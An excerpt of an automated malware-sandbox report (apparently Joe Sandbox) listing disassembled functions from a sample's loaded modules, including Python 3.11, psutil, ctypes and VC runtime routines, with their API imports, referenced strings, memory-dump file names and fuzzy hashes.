Instruction ID: 02b414f1fb625d8bdb456605ff57d87b4f902fa9ea1dbba20c8de247fdb7e756
Opcode Fuzzy Hash: ea38b9b02c827df44fb5011cb61d735aee822b3a281d6ad786fd76dbeb1e9228
Instruction Fuzzy Hash: 91311872609BC18AEB609FA8E8407E97760FB857A5F44443ADB4E47B98EF3CD548C710

Function 00007FF8B9841B00 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8B9841B1C
memset.VCRUNTIME140 ref: 00007FF8B9841B40
RtlCaptureContext.KERNEL32 ref: 00007FF8B9841B49
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8B9841B63
RtlVirtualUnwind.KERNEL32 ref: 00007FF8B9841BA4
memset.VCRUNTIME140 ref: 00007FF8B9841BD7
IsDebuggerPresent.KERNEL32 ref: 00007FF8B9841BF8
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8B9841C19
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8B9841C24

Memory Dump Source

Source File: 00000002.00000002.2073245464.00007FF8B9841000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8B9840000, based on PE: true

Associated: 00000002.00000002.2073221006.00007FF8B9840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073274420.00007FF8B9843000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073310530.00007FF8B9845000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073339457.00007FF8B9846000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9840000_mav17final.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 491c6c3a996b181e7d4f6ff731a66c8976c72585f48119a1a83f76a26148e78e
Instruction ID: dcdca3f709bd2bb0817f8f0d859dab31ba611e8350f94001eccc7beff3af2209
Opcode Fuzzy Hash: 491c6c3a996b181e7d4f6ff731a66c8976c72585f48119a1a83f76a26148e78e
Instruction Fuzzy Hash: FD311E72709AC286EB609F68E8407ED7360FB94784F44453ADB4D47B98DF38D648C710

Function 00007FF8B9072030 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 134COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B90781C0: OpenProcess.KERNEL32(?,?,?,00007FF8B9071966), ref: 00007FF8B90781DA
Part of subcall function 00007FF8B90781C0: GetLastError.KERNEL32(?,?,?,00007FF8B9071966), ref: 00007FF8B90781E8
Part of subcall function 00007FF8B90781C0: CloseHandle.KERNEL32(?,?,?,00007FF8B9071966), ref: 00007FF8B907820B

CommandLineToArgvW.SHELL32 ref: 00007FF8B9072144
GetLastError.KERNEL32 ref: 00007FF8B9072152

Strings

CommandLineToArgvW, xrefs: 00007FF8B9072158
(originated from %s), xrefs: 00007FF8B9072161
psutil_pid_is_running -> 0, xrefs: 00007FF8B90720A7
i|O, xrefs: 00007FF8B907206C

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: ErrorLast$ArgvCloseCommandHandleLineOpenProcess
String ID: (originated from %s)$CommandLineToArgvW$i|O$psutil_pid_is_running -> 0
API String ID: 2690751061-2335919432
Opcode ID: deac87614d14d2cd7fcede053ea73ff55bdac4ec2ebd44c97669a55f081cdf00
Instruction ID: c5494dee04d0dfcc8109aa490335e024c21a24b4be26d969f6af82713798fb29
Opcode Fuzzy Hash: deac87614d14d2cd7fcede053ea73ff55bdac4ec2ebd44c97669a55f081cdf00
Instruction Fuzzy Hash: 12513065A0DAC281EE609F29E8443BA67A4FFA4BE4F440135DB9E436A5DF3CE4468710

Function 00007FF8B9073560 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 64nativeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF8B90735A3
GetLastError.KERNEL32 ref: 00007FF8B90735B1
NtQueryInformationProcess.NTDLL ref: 00007FF8B9073608
CloseHandle.KERNEL32 ref: 00007FF8B9073613

Strings

automatically set for PID 0, xrefs: 00007FF8B907358B
NtQueryInformationProcess, xrefs: 00007FF8B907361D
OpenProcess, xrefs: 00007FF8B90735BC

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Process$CloseErrorHandleInformationLastOpenQuery
String ID: NtQueryInformationProcess$OpenProcess$automatically set for PID 0
API String ID: 241081717-1336995763
Opcode ID: fff3764ab0624a0679a94573e97877e1ec39213333331769b47d7f519c66ef76
Instruction ID: 641d0e2444501ac5e0ce0a16dd1c09a90d9d7e4490dfc546fb8b23eee9d0b2b3
Opcode Fuzzy Hash: fff3764ab0624a0679a94573e97877e1ec39213333331769b47d7f519c66ef76
Instruction Fuzzy Hash: 3C216061B0C6C382FF509F29F8802B96BA1BFA47E4F584035DB0D876A5DE6CE4468740

Function 00007FF8B9073660 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 63nativeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF8B90736A8
GetLastError.KERNEL32 ref: 00007FF8B90736B6
NtSetInformationProcess.NTDLL ref: 00007FF8B9073704
CloseHandle.KERNEL32 ref: 00007FF8B907370F

Strings

automatically set for PID 0, xrefs: 00007FF8B9073690
OpenProcess, xrefs: 00007FF8B90736C1
NtSetInformationProcess, xrefs: 00007FF8B9073719

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Process$CloseErrorHandleInformationLastOpen
String ID: NtSetInformationProcess$OpenProcess$automatically set for PID 0
API String ID: 1640454886-2953277767
Opcode ID: d920bf36b67fe67c9ea594868500f7548756d307c4f36ca9bf250ace23d20d22
Instruction ID: 4f2139c5f59f0b99cafc210c623abbf2e7ae7fb5bc70f67ecb7417e0026e0b29
Opcode Fuzzy Hash: d920bf36b67fe67c9ea594868500f7548756d307c4f36ca9bf250ace23d20d22
Instruction Fuzzy Hash: 3C217121B1C68782FE549F2DF8805B92BA1AFA8BE0F448035DB1D477A5DE2CE4878700

Function 00007FF8B9073AE0 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 253COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF8B9073B9C
swprintf_s.MSPDB140-MSVCRT ref: 00007FF8B9073CBD

Strings

OOd, xrefs: 00007FF8B9073D91
WTSEnumerateSessionsW, xrefs: 00007FF8B9073BAB
WTSQuerySessionInformationW, xrefs: 00007FF8B9073E9E, 00007FF8B9073EC0
%u.%u.%u.%u, xrefs: 00007FF8B9073CA1

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: ErrorLastswprintf_s
String ID: %u.%u.%u.%u$OOd$WTSEnumerateSessionsW$WTSQuerySessionInformationW
API String ID: 1644374431-281470548
Opcode ID: 351cb9ce14cdabf345c66a283de42749b0387cef55aa96c4d2e12f7dfe231774
Instruction ID: ae3a2f958a9d08d5f69ebbe5b1613a00f206bb29e5baed8852df6757f397f698
Opcode Fuzzy Hash: 351cb9ce14cdabf345c66a283de42749b0387cef55aa96c4d2e12f7dfe231774
Instruction Fuzzy Hash: 9FC12832B09A82C6FF658F69A8542BD3BA1AF64BE4F044135CF5E52A94DF3CE446C300

Function 00007FF8B907A928 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8B907A944
RtlCaptureContext.KERNEL32 ref: 00007FF8B907A971
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8B907A98B
RtlVirtualUnwind.KERNEL32 ref: 00007FF8B907A9CC
IsDebuggerPresent.KERNEL32 ref: 00007FF8B907AA20
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8B907AA41
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8B907AA4C

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 4d451b1ebd3bd04a7980592fc1aa2c80c17f49c06b6c165df2ba8b78148fda11
Instruction ID: f241a1fb76d664808ac077d5358bb4d4e89cda9b8420c40ca779451049ba9dd2
Opcode Fuzzy Hash: 4d451b1ebd3bd04a7980592fc1aa2c80c17f49c06b6c165df2ba8b78148fda11
Instruction Fuzzy Hash: B9316C72609AC186EF608F64E8403EE3760FB94794F44403ADB4E47A94EF3CC64AC710

Function 00007FF8B9078F50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39serviceCOMMON

Download Yara Rule

APIs

StartServiceA.ADVAPI32 ref: 00007FF8B9078F9E
CloseServiceHandle.ADVAPI32 ref: 00007FF8B9078FB7

Strings

StartService, xrefs: 00007FF8B9078FA8

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Service$CloseHandleStart
String ID: StartService
API String ID: 402030760-99420325
Opcode ID: 2ffd32a0515497b06187faa6b065d56fefb2bb7c14a36f5e79439c80651379cc
Instruction ID: 3adf2a51a8424c42382fdaf1e80532bbb70b2c31f50425a25245338c81b68afb
Opcode Fuzzy Hash: 2ffd32a0515497b06187faa6b065d56fefb2bb7c14a36f5e79439c80651379cc
Instruction Fuzzy Hash: 86017120B0968381EE15AF2AEC942B967E1BFA9BD4F880031CB4D43754EE3CE5478700

Function 00007FF8B90756B0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNEL32 ref: 00007FF8B90756F4

Strings

(LL), xrefs: 00007FF8B907572A

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: DiskFreeSpace
String ID: (LL)
API String ID: 1705453755-591180812
Opcode ID: 25a55e9020650d3683c57d1660a1f10089e65ec50ba526113029ab9d531df5ab
Instruction ID: b4c34cfc7f40ff58454d7b8a7b2540f7ed284569cfd0be3dbb1357d36da9c692
Opcode Fuzzy Hash: 25a55e9020650d3683c57d1660a1f10089e65ec50ba526113029ab9d531df5ab
Instruction Fuzzy Hash: 59011665A08AC6C2DF109F65F8441AAAB70FF947E4F841036DB4D43A28DF7CD54ACB00

Function 00007FF8B9F65304 Relevance: 124.6, APIs: 52, Strings: 19, Instructions: 370COMMON

Download Yara Rule

APIs

PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6532F
PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65366
PyLong_FromLong.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6538B
PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F653AA
PyLong_FromLong.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F653CC
PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F653EB
PyLong_FromLong.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6540D
PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6542C
PyLong_FromLong.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65451
PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65470
PyLong_FromLong.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65495
PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F654B4
PyLong_FromLong.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F654D9
PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F654F8
PyUnicode_FromString.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6551F
PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6553E
PyLong_FromVoidPtr.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65565
PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65584
PyLong_FromVoidPtr.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F655AB
PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F655CA
PyLong_FromVoidPtr.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F655F1
PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65610
PyLong_FromVoidPtr.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65637
PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65656
PyLong_FromVoidPtr.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6567D
PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6569C
PyLong_FromLong.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F656BE
PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F656DD
PyLong_FromLong.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F656FF
PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6571E
PyLong_FromLong.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65743
PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6575E
PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65795
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6921F
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6922E
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6923D
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6924C
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6925B
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6926A
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F69279
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F69288
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F69297
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F692A6
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F692B5
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F692C4
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F692D3
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F692E2
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F692F1
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F69300
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F69318
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F69327
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F69336

Strings

RTLD_GLOBAL, xrefs: 00007FF8B9F65714
FUNCFLAG_STDCALL, xrefs: 00007FF8B9F653E1
COMError, xrefs: 00007FF8B9F65356
FUNCFLAG_CDECL, xrefs: 00007FF8B9F65422
FUNCFLAG_HRESULT, xrefs: 00007FF8B9F653A0
RTLD_LOCAL, xrefs: 00007FF8B9F656D3
1.1.0, xrefs: 00007FF8B9F65518
FUNCFLAG_USE_LASTERROR, xrefs: 00007FF8B9F654AA
FUNCFLAG_PYTHONAPI, xrefs: 00007FF8B9F654EE
__version__, xrefs: 00007FF8B9F65534
_memset_addr, xrefs: 00007FF8B9F655C0
_wstring_at_addr, xrefs: 00007FF8B9F65692
ArgumentError, xrefs: 00007FF8B9F65785
_pointer_type_cache, xrefs: 00007FF8B9F6531A
_cast_addr, xrefs: 00007FF8B9F6564C
_memmove_addr, xrefs: 00007FF8B9F6557A
CTYPES_MAX_ARGCOUNT, xrefs: 00007FF8B9F65754
_string_at_addr, xrefs: 00007FF8B9F65606
FUNCFLAG_USE_ERRNO, xrefs: 00007FF8B9F65466

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc$Module_Object$From$Long_$Long$Void$StringUnicode_
String ID: 1.1.0$ArgumentError$COMError$CTYPES_MAX_ARGCOUNT$FUNCFLAG_CDECL$FUNCFLAG_HRESULT$FUNCFLAG_PYTHONAPI$FUNCFLAG_STDCALL$FUNCFLAG_USE_ERRNO$FUNCFLAG_USE_LASTERROR$RTLD_GLOBAL$RTLD_LOCAL$__version__$_cast_addr$_memmove_addr$_memset_addr$_pointer_type_cache$_string_at_addr$_wstring_at_addr
API String ID: 2895207140-772522829
Opcode ID: b7dbbcc8b36d8762ecc7955ef4353bb7629bcf7eedf864b22fa349bc15453bc1
Instruction ID: 4ec3a03f503e6f4c52e5320dc757a82d597c9a1763a5179b8175a5b5ef12f506
Opcode Fuzzy Hash: b7dbbcc8b36d8762ecc7955ef4353bb7629bcf7eedf864b22fa349bc15453bc1
Instruction Fuzzy Hash: 9BE1CA65A0AFC385FE498F69D9642782764AF4AFF6F086135CF0E56795EE2CE044C201

Function 00007FF8BA248EE4 Relevance: 58.1, APIs: 4, Strings: 29, Instructions: 382COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BA249455
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24948A
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA2494C3

Strings

decltype(auto), xrefs: 00007FF8BA24932C
float, xrefs: 00007FF8BA249036
wchar_t, xrefs: 00007FF8BA249376
signed , xrefs: 00007FF8BA249422
__int128, xrefs: 00007FF8BA24917C
unsigned , xrefs: 00007FF8BA249412
__w64 , xrefs: 00007FF8BA24910A
char8_t, xrefs: 00007FF8BA249205
char32_t, xrefs: 00007FF8BA2493D7
auto, xrefs: 00007FF8BA249217
__int64, xrefs: 00007FF8BA24918B
void, xrefs: 00007FF8BA249048
double, xrefs: 00007FF8BA24900A
long, xrefs: 00007FF8BA248F7E
short, xrefs: 00007FF8BA248FA2
char16_t, xrefs: 00007FF8BA2491E4
volatile, xrefs: 00007FF8BA2492CE
int, xrefs: 00007FF8BA248F90
__int32, xrefs: 00007FF8BA24919A
<unknown>, xrefs: 00007FF8BA2491F6
this , xrefs: 00007FF8BA24937F
long , xrefs: 00007FF8BA248FF3
bool, xrefs: 00007FF8BA2491AC
__int16, xrefs: 00007FF8BA2490EC
volatile, xrefs: 00007FF8BA2492FB
char, xrefs: 00007FF8BA248FB4
__int8, xrefs: 00007FF8BA2490FE
UNKNOWN, xrefs: 00007FF8BA249358
const, xrefs: 00007FF8BA2492B3

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: Name::operator+
String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $auto$bool$char$char16_t$char32_t$char8_t$const$decltype(auto)$double$float$int$long$long $short$signed $this $unsigned $void$volatile$wchar_t
API String ID: 2943138195-1482988683
Opcode ID: 36e6e2d055789cd29251c4bf9697f6c8a4377c58ea8e1572b96a4f003d2d3a05
Instruction ID: d9356da33a55440f9048a8c23a8d01f1c882bed38599632adb2e5f5a46a6887a
Opcode Fuzzy Hash: 36e6e2d055789cd29251c4bf9697f6c8a4377c58ea8e1572b96a4f003d2d3a05
Instruction Fuzzy Hash: CE024A72E1861388FB24CB6CD8951BC2BB0BB05BC4F5451BADF0D16AA8DF2DE544E350

Function 00007FF8B9F61B80 Relevance: 54.5, APIs: 17, Strings: 14, Instructions: 246COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON311 ref: 00007FF8B9F61BC1
PySequence_Tuple.PYTHON311 ref: 00007FF8B9F61BE4
_PyArg_ParseTuple_SizeT.PYTHON311 ref: 00007FF8B9F61C15
PySys_Audit.PYTHON311 ref: 00007FF8B9F61C4B
PyObject_GetAttrString.PYTHON311 ref: 00007FF8B9F61C64
PyLong_AsVoidPtr.PYTHON311 ref: 00007FF8B9F61C8D
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F61CA0
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F61D7D
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F66D74
PyErr_SetString.PYTHON311 ref: 00007FF8B9F66DAA
PyErr_Format.PYTHON311 ref: 00007FF8B9F66DC3

Part of subcall function 00007FF8B9F61D8C: PyEval_SaveThread.PYTHON311 ref: 00007FF8B9F61DA1
Part of subcall function 00007FF8B9F61D8C: GetProcAddress.KERNEL32 ref: 00007FF8B9F61DB0
Part of subcall function 00007FF8B9F61D8C: PyEval_RestoreThread.PYTHON311 ref: 00007FF8B9F61DBC

PyErr_Format.PYTHON311 ref: 00007FF8B9F66DFC
PyErr_Format.PYTHON311 ref: 00007FF8B9F66E0F
_PyArg_ParseTuple_SizeT.PYTHON311 ref: 00007FF8B9F66E9A
PyErr_SetString.PYTHON311 ref: 00007FF8B9F66F4C
